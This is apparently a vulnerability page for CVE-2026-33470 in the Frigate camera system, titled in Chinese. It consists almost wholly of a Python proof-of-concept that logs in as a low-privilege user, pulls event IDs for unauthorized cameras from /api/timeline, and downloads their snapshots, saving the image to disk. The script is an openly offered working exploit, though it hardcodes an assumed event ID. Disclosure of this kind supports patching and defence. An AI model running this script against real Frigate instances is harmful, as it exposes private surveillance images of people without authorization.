CVE-2026-33470 Frigate权限绕过致跨摄像头快照泄露

import requests # Configuration target_url = "http://vulnerable-frigate-instance" username = "low_priv_user" password = "password" # 1. Authenticate as low-privilege user session = requests.Session() login_payload = {"username": username, "password": password} session.post(f"{target_url}/api/login", data=login_payload) # 2. Exploit: Access /api/timeline to discover Event IDs from unauthorized cameras # The vulnerability allows this endpoint to return events for cameras outside the user's scope timeline_resp = session.get(f"{target_url}/api/timeline") if timeline_resp.status_code == 200: events = timeline_resp.json() # Assume we found an event_id '12345' belonging to a restricted camera target_event_id = "12345" # 3. Exploit: Access snapshot using the leaked event ID # The endpoint /api/events/{event_id}/snapshot-clean.webp fails to validate # if the event's camera is authorized for the current user. snapshot_url = f"{target_url}/api/events/{target_event_id}/snapshot-clean.webp" poc_resp = session.get(snapshot_url) if poc_resp.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print(f"[+] Retrieved snapshot size: {len(poc_resp.content)} bytes") # Save the snapshot with open("exploited_snapshot.webp", "wb") as f: f.write(poc_resp.content) else: print("[-] Failed to retrieve snapshot.") else: print("[-] Failed to access timeline.")